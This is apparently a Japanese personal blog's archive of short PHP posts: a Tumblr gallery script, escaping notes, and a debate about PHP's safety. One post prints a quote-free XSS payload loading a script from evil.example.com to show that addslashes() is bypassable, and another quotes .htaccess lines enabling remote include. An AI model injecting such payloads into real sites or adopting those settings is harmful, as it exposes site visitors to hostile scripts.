Now loading...

5 月 06

完成品がこちら。どうだエロいだろう。PHPで作る必要があるのかと言われると、うーん。たぶんJavaScriptオンリーでTumblr情報取得->画像表示とするのがスマートなのかな。

以下ファイルを設定・実行すると画像表示に必要なhtml(下記例では”photo_table.php”)を書き出すので、それを表示したい場所にincludeすればOK。書き出しを定期的に自動で行わせたい場合はCRON等を使用。下記コードではLightbox2の利用を想定しているので、書き出したファイルのimgタグ内にrel=”lightbox”という属性が付く。不要であれば適宜除去。XML解析にはSimpleXMLというモジュールを使用しているのでPHP5以上が必要。

ファイルの設定箇所

  1. TumblrのUSERIDを設定(http://USERID.tumblr.com)
  2. 取得ポスト数を設定
  3. ポストの種類を設定(フォトギャラリーを作成するなら再設定不要)
  4. ギャラリーのサムネイルサイズを設定(75, 100, 250, 400, 500のみ)
  5. サムネイルクリックで表示される画像サイズの設定(75, 100, 250, 400, 500のみ)
  6. 書き出しファイルの名前(と必要であればファイルパス)。デフォルトでは同じディレクトリに作成。ファイル書き出しを行うので書き出し先ディレクトリに書き込み権限を与えることを忘れずに。
<?php

//(1) Set your Tumblr ID
define(‘USER_ID’, ‘borealkiss’);

//(2) Set the maximum item number
define(‘MAX_NUM’, ‘30′);

//(3) Set the post type.
//You don’t need to change as long as you are making a photo gallery.
define(‘POST_TYPE’, ‘photo’);

//(4) Choose the thumbnail size of each image (75,100,250,400, or 500)
define(‘THUMBNAIL_SIZE’, ‘75′);

//(5) Choose the image size in the gallery (75,100,250,400, or 500)
define(‘GALLERY_SIZE’, ‘400′);

//(6) Define a file name for image tabels
define(‘FILENAME’, ‘photo_table.php’);

$fp_out = fopen(FILENAME, ‘w’);
$req1 = ‘num=’.MAX_NUM;
$req2 = ‘type=’.POST_TYPE;
$req_url = ‘http://’.USER_ID.‘.tumblr.com/api/read?’.$req1.‘&’.$req2;
$xml = simplexml_load_file($req_url);

foreach ($xml->posts->post as $post){

    //get the attribute
    $permalink = $post[‘url’];

    foreach ($post->{‘photo-url’} as $url){
        foreach ($url->attributes() as $key=>$value){

            if ($key == ‘max-width’ && $value == GALLERY_SIZE){
                fwrite($fp_out, ‘<a href="’.$url.‘" rel="lightbox" title="’.$permalink.‘">’);
            }
            else if ($key == ‘max-width’ && $value == THUMBNAIL_SIZE){
                fwrite($fp_out, ‘<img src="’.$url.‘" border="0"/></a>’);
            }
        }
    }
}

fclose($fp_out);
?>

[関連リンク]
Tumblr API reference (JP)

Tags: ,

2 月 06

某有名FLASHerさんが珍しくPHPで作品を公開していたので、「へえ、この人PHPも使うんだ」と思いながら、間違えて変なの入力したら(嘘だけど)、以下のようにして入力を扱っている様子。


<?php
echo addslashes($_GET['txt']);
?>

これって一見良さそうだけど以下のようなシングルクオートもダブルクオートも使わないスクリプトは読み込める。クオートなくても動くってのがまず驚きだけどクオートを書かないって発想がさらに驚愕 (参考:XSS (Cross Site Scripting) Cheat Sheet)。


<script src=http://evil.example.com/xxx.js /></script>

読み込んだxxx.jsファイルの中身はaddslashes()の制限を受けないので何でもアリの無法地帯。うまいこと第三者をおびきよせてxxx.jsの中身を読ませることができる。まあただの揚げ足取りなんだけど(でもセキュリティ屋がやってることはこういうことでしょ?)要するに言いたかったことは、このFLASHerさんはActionScriptは(少なくとも僕から見て)達人級であってプログラムを書くこと自体には熟練しているということ。ほんとにプログラミングゼロからの人間にセキュリティを気にしろって言うのは無理があると思っただけ。

Tags: ,

2 月 03

メモ。

シングル・ダブルクオーテーションに関する動作を示すオプションの第2の引数をとり、無指定でデフォルトはENT_COMPAT(ダブルクオーテーションを変換、シングルクオーテーションを無変換)。ENT_QUOTESでダブルおよびシングルクオーテーションをそれぞれ”、’に変換。


<?php
$text = htmlspecialchars($_POST['text'], ENT_QUOTES);
?>

[Reference]
htmlentities - PHPマニュアル
htmlspecialchars - PHPマニュアル

Tags: ,

1 月 30

(鵜呑み禁止)

はてな界隈で盛り上がってる。僕自身のPHPを学ぶ気力に関わってきそうだったので追尾してたけど、結局[Z]ZAPAブロ〜グ2.0さんの「プログラミング言語は宗教みたいなもの」で全部片付いちゃうんじゃないの。宗教よりも実際の言語間の言い争いかな。信仰と違ってなまじっか客観的に色々指摘できちゃうからこうなる。「日本でしか使えない日本語覚えて効率悪くない?」とか「なんで日本語って文章の最期まで聞かないと結論わかんないの?不便だね」とか言われて逆上してるような感じ。

面白いねプログラミング言語やってる人達って(ごく一部なんだろうけど)。比較惑星学みたいに「比較プログラミング言語学」とかつくっちゃえばいいのに。あーでも惑星やってる連中は仲いいよ。「月冷えきっちゃってんじゃん」とか「金星ってプレート運動ないの?うわ、だせえ」とかならない。メインの研究対象以外あんまり興味を持たないってのもあるかもだけど。

事の発端。Rubyの作者さんなんですね、ビックリ。

特に「PHPは初心者に学びやすい(と言われていることが問題である)」という部分に共感する。 PHPは初心者に簡単かもしれないが、初心者による手を抜いたWebアプリケーションは PHPが作られた当初はともかく、現代では害悪ではないだろうか。Webアプリケーションをなめるな

Matzにっき / PHPがいかに駄目な言語か、という話。

PHP側。(面白い部分を引用)

まあ、ハッカーというか天才というかとにかく偉い(と周囲に持ち上げられている)人が怪気炎っぽいものをあげて自分の好まないものをこきおろすのは、これまたよくあることではある。

Web屋のネタ帳 / どの言語で書いてもおかしなコードを書く奴は書く。

Perl。(意味不明なんで割愛)

404 Blog Not Found / 「PHPなめんな」と「(Perl|Python|Ruby)をなめんな」の違い

PHP側。

プログラミング言語は宗教みたいなもので、好きか嫌いかですぐに論争になります。

[Z]ZAPAブロ〜グ2.0 / PHPは定期的にネタにされる

ところで下のやつは何がダメなの?切実に理由が知りたいです。

PHP使ってるヤツらって

htmlspecialchars($_GET[’text’]);

こんなコード書いてる!

m9(^Д^)プギャー

[Z]ZAPAブロ〜グ2.0 / PHPは定期的にネタにされる

ネタのような気もするけどこんなのまであるらしい。面白い。

PHPやってるだけでバカにされるんですがどうしたらいいでしょうか。

そしてまだ届かない!!「薄い」ってのに超期待してんだけどなあ。

入門PHPセキュリティ
入門PHPセキュリティ

追記。なるほど。こういうのが知りたかった。PHPの方が人為的ミスが生じやすいわけね。

RubyやPerlでは外部から入力された文字列にtaint(汚染)と呼ばれるマークがつく。 taintされた文字列から加工された文字列にもtaintがつく。これをチェックすることで外部からの入力をチェック(サニタイズ)しないまま危険な操作(ファイル名にする、systemを呼び出す、HTML/SQLに埋めこむ、など)を禁止することができる。

Matzにっき / 安全なWebアプリのために言語ができること

Tags: ,

1 月 22

ブログでレベルアップが時々画面真っ白になって何も表示されないことがあったんだけど、理由はこれかもしれない。一応.htaccessに書いてみたけど、どうなんだろ。確認しにくいな。

可能性として、運用されているPHPスクリプトと、サーバー側でのPHP高速化・キャッシュモジュールとの相性の問題が発生していることがあります。その場合は、下記コマンドを「.htaccess」に記載してください。


php_flag apc.cache_by_default off

(PHPでのエラー対策について - CORESERVER.JP:コアサーバーより)

それと、これはどういう意味だ?外部からうちのドメインのファイルはリモートで読めないようになってるってことなんかな。なるほどね。

標準で、include()/require()によるURLの取得ができなくなっております。おすすめいたしませんが、ご利用いただくには、下記コマンドを「.htaccess」に記載してください。


php_flag allow_url_fopen on
php_flag allow_url_include on

Tags: ,


Now loading...